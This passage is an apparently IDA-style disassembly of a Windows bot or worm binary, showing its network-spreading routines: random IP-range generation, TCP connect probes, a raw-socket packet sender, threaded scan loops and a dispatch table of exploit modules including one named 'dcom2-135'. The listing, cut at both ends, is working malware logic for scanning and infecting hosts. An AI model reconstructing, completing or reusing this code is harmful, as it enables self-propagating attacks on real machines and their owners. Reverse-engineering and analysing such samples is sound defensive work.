		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D8DC0, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D9150
		mov	dword_4D915C, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D9160, ecx
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43F638
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_409663
		add	esp, 20h
		mov	dword_4D9158, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D8DC0
		push	offset sub_40D826
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, dword_4D9158
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jz	short loc_40A4D3
		jmp	short loc_40A4C9
; ---------------------------------------------------------------------------


loc_40A4AC:				; CODE XREF: sub_40A01B+49Fj
		push	32h
		call	dword_4E033C	; Sleep


loc_40A4B4:				; CODE XREF: sub_40A01B+373j
		cmp	dword_4D8868, ebx
		jz	short loc_40A4AC
		jmp	loc_40A3AF
; ---------------------------------------------------------------------------


loc_40A4C1:				; CODE XREF: sub_40A01B+4B4j
		push	32h
		call	dword_4E033C	; Sleep


loc_40A4C9:				; CODE XREF: sub_40A01B+48Fj
		cmp	dword_4D916C, ebx
		jz	short loc_40A4C1
		jmp	short loc_40A4EE
; ---------------------------------------------------------------------------


loc_40A4D3:				; CODE XREF: sub_40A01B+48Dj
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43F674
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_40A4EE:				; CODE XREF: sub_40A01B+4B6j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40F927
		pop	ecx


loc_40A4FB:				; CODE XREF: sub_40A01B+14j
					; sub_40A01B+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40A01B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4FF	proc near		; CODE XREF: sub_40A84F:loc_40A8B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4D67B8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_419330
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4D6590	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4D6664	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_419330
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40A4FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A547	proc near		; CODE XREF: sub_40A84F+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_414EC0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40A56F
		xor	eax, eax
		jmp	short loc_40A5E0
; ---------------------------------------------------------------------------


loc_40A56F:				; CODE XREF: sub_40A547+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_419670
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40A59C
		call	sub_417DC0
		mov	[ebp+var_C], eax


loc_40A59C:				; CODE XREF: sub_40A547+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40A5A9
		call	sub_417DC0
		mov	[ebp+var_8], eax


loc_40A5A9:				; CODE XREF: sub_40A547+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40A5B6
		call	sub_417DC0
		mov	[ebp+var_4], eax


loc_40A5B6:				; CODE XREF: sub_40A547+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40A5C2
		call	sub_417DC0


loc_40A5C2:				; CODE XREF: sub_40A547+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D67B8[ecx*8], eax


loc_40A5E0:				; CODE XREF: sub_40A547+26j
		pop	esi
		leave
		retn
sub_40A547	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5E3	proc near		; CODE XREF: sub_409DF2+5Cp
					; sub_40A84F+A9p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4D66E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A60C
		xor	eax, eax
		jmp	short loc_40A67B
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_40A5E3+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4D6668	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D6704	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4D6610	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4D6650	; select
		push	esi
		mov	edi, eax
		call	dword_4D6700	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40A67B:				; CODE XREF: sub_40A5E3+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5E3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	sub_4181D0
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_4D6668	; ntohs
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_4D6668	; ntohs
		mov	[ebp-26h], ax
		call	sub_417DC0
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_4D6668	; ntohs
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_4D6668	; ntohs
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_419330
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_4088DB
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_4D6668	; ntohs
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4D66E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A77F
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_40A842
; ---------------------------------------------------------------------------


loc_40A77F:				; CODE XREF: .data:0040A773j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4D66CC	; sendto
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_40A7C8
		call	dword_4D65FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	sub_417CB0
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_40F927
		add	esp, 14h
		jmp	short loc_40A834
; ---------------------------------------------------------------------------


loc_40A7C8:				; CODE XREF: .data:0040A79Aj
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		jmp	short loc_40A7FF
; ---------------------------------------------------------------------------


loc_40A7DF:				; CODE XREF: .data:0040A806j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_4D6640	; recvfrom
		test	eax, eax
		jl	short loc_40A829


loc_40A7FF:				; CODE XREF: .data:0040A7DDj
		cmp	[ebp-100FAh], di
		jnz	short loc_40A7DF
		push	esi
		call	dword_4D6700	; closesocket
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_40A83D
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_40F927
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A84A
; ---------------------------------------------------------------------------


loc_40A829:				; CODE XREF: .data:0040A7FDj
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_40F927
		pop	ecx


loc_40A834:				; CODE XREF: .data:0040A7C6j
		push	esi
		call	dword_4D6700	; closesocket
		jmp	short loc_40A848
; ---------------------------------------------------------------------------


loc_40A83D:				; CODE XREF: .data:0040A817j
		push	offset aSocketClosed_ ;	"Socket	closed."


loc_40A842:				; CODE XREF: .data:0040A77Aj
		call	sub_40F927
		pop	ecx


loc_40A848:				; CODE XREF: .data:0040A83Bj
		xor	eax, eax


loc_40A84A:				; CODE XREF: .data:0040A827j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A84F	proc near		; DATA XREF: sub_40AA63+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40AA40
; ---------------------------------------------------------------------------


loc_40A89B:				; CODE XREF: sub_40A84F+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40A8B1
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40A547
		pop	ecx
		jmp	short loc_40A8B6
; ---------------------------------------------------------------------------


loc_40A8B1:				; CODE XREF: sub_40A84F+51j
		call	sub_40A4FF


loc_40A8B6:				; CODE XREF: sub_40A84F+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4495A4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43F72C
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4493A0[ebx]
		push	eax
		call	sub_417CB0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40A5E3
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40AA35
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40A98A
		push	offset dword_4D87B8
		call	dword_4E03A8	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43F764
		push	eax
		call	sub_417CB0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40A96C
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40A960
		lea	eax, [ebp+var_140]


loc_40A960:				; CODE XREF: sub_40A84F+109j
		push	eax
		push	[ebp+var_40]
		call	sub_40764A
		add	esp, 14h


loc_40A96C:				; CODE XREF: sub_40A84F+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40F927
		mov	[esp+2A8h+var_2A8], offset dword_4D87B8
		call	dword_4E03A4	; RtlLeaveCriticalSection
		jmp	loc_40AA35
; ---------------------------------------------------------------------------


loc_40A98A:				; CODE XREF: sub_40A84F+BEj
		push	edi
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_417CB0
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aDcom2135 ;	"dcom2-135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_417CB0
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40A9CE
		lea	eax, [ebp+var_140]


loc_40A9CE:				; CODE XREF: sub_40A84F+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_417CB0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43F06C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40AA35:				; CODE XREF: sub_40A84F+B4j
					; sub_40A84F+136j
		push	7D0h
		call	dword_4E033C	; Sleep


loc_40AA40:				; CODE XREF: sub_40A84F+47j
		mov	eax, dword_4495A4[ebx]
		cmp	dword_4D67BC[eax*8], 0
		jnz	loc_40A89B
		push	esi
		call	sub_409979
		pop	ecx
		push	0
		call	dword_4E03A0	; ExitThread
sub_40A84F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA63	proc near		; DATA XREF: sub_401C87+1B63o
					; sub_401C87+486Ao

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4D66A8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4D67B8[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40A01B
		push	0Bh
		call	sub_4098A5
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40AB31
		mov	esi, offset dword_4D87B8
		push	esi
		call	dword_4E03B0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4E03AC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40AB31
		lea	eax, [ebp+var_1CC]
		push	offset unk_43F78C
		push	eax
		call	sub_417CB0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40AB1B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40764A
		add	esp, 14h


loc_40AB1B:				; CODE XREF: sub_40AA63+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40F927
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40AB31:				; CODE XREF: sub_40AA63+63j
					; sub_40AA63+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_4E033C
		mov	edi, ebx
		mov	dword_4D67BC[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40ABF3


loc_40AB4F:				; CODE XREF: sub_40AA63+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43F7C0
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_409663
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4495A4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40A84F
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_40AC0A
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43F7F4
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40F927
		add	esp, 10h


loc_40ABE5:				; CODE XREF: sub_40AA63+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40AB4F


loc_40ABF3:				; CODE XREF: sub_40AA63+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_40AC18
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40AC25
; ---------------------------------------------------------------------------


loc_40AC06:				; CODE XREF: sub_40AA63+1AAj
		push	1Eh
		call	esi	; Sleep


loc_40AC0A:				; CODE XREF: sub_40AA63+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_40AC06
		jmp	short loc_40ABE5
; ---------------------------------------------------------------------------


loc_40AC11:				; CODE XREF: sub_40AA63+1C0j
		push	7D0h
		call	esi	; Sleep


loc_40AC18:				; CODE XREF: sub_40AA63+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_4D67BC[eax*8], 1
		jz	short loc_40AC11


loc_40AC25:				; CODE XREF: sub_40AA63+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4D67B8[eax*8]
		push	eax
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43F82C
		push	eax
		call	sub_417CB0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40AC73
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40764A
		add	esp, 14h


loc_40AC73:				; CODE XREF: sub_40AA63+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40F927
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_4D67BC[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_4098A5
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40ACAA
		push	offset dword_4D87B8
		call	dword_4E03B0	; RtlDeleteCriticalSection


loc_40ACAA:				; CODE XREF: sub_40AA63+23Aj
		push	[ebp+var_2C]
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread
sub_40AA63	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACBA	proc near		; DATA XREF: sub_40AD87+7Bo
					; sub_40AE78+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A8h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4D6668	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4D66E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AD78
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4D6610	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4495AC[ecx], esi
		jz	short loc_40AD78
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		mov	edi, offset dword_4D9178
		push	offset unk_43F86C
		push	edi
		call	sub_417CB0
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_40764A
		push	edi
		call	sub_40F927
		add	esp, 28h


loc_40AD78:				; CODE XREF: sub_40ACBA+5Dj
					; sub_40ACBA+7Ej
		push	esi
		call	dword_4D6700	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40ACBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40AD87	proc near		; DATA XREF: sub_401C87+4C87o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_4E033C
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40ADB5:				; CODE XREF: sub_40AD87+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_43F894
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_4493A0
		push	eax
		call	sub_417760
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40ACBA
		push	edi
		push	edi
		call	dword_4E0340	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40AE21
		jmp	short loc_40AE1C
; ---------------------------------------------------------------------------


loc_40AE18:				; CODE XREF: sub_40AD87+98j
		push	32h
		call	esi	; Sleep


loc_40AE1C:				; CODE XREF: sub_40AD87+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40AE18


loc_40AE21:				; CODE XREF: sub_40AD87+8Dj
		push	[ebp+var_4]
		call	dword_4E032C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_419330
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4D6590	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4D6664	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_419330
		add	esp, 0Ch
		jmp	loc_40ADB5
sub_40AD87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE78	proc near		; DATA XREF: sub_401C87+49A2o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_4E033C
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40AEA6:				; CODE XREF: sub_40AE78+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_43F8BC
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_4493A0
		push	eax
		call	sub_417760
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40ACBA
		push	edi
		push	edi
		call	dword_4E0340	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40AF12
		jmp	short loc_40AF0D
; ---------------------------------------------------------------------------


loc_40AF09:				; CODE XREF: sub_40AE78+98j
		push	32h
		call	esi	; Sleep


loc_40AF0D:				; CODE XREF: sub_40AE78+8Fj
		cmp	[ebp+var_8], edi
		jz	short loc_40AF09


loc_40AF12:				; CODE XREF: sub_40AE78+8Dj
		push	[ebp+arg_0]
		call	dword_4E032C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40AF39
		inc	[ebp+var_2C]
		jmp	loc_40AEA6
; ---------------------------------------------------------------------------


loc_40AF39:				; CODE XREF: sub_40AE78+B7j
		push	[ebp+var_1C]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_43F8E8
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
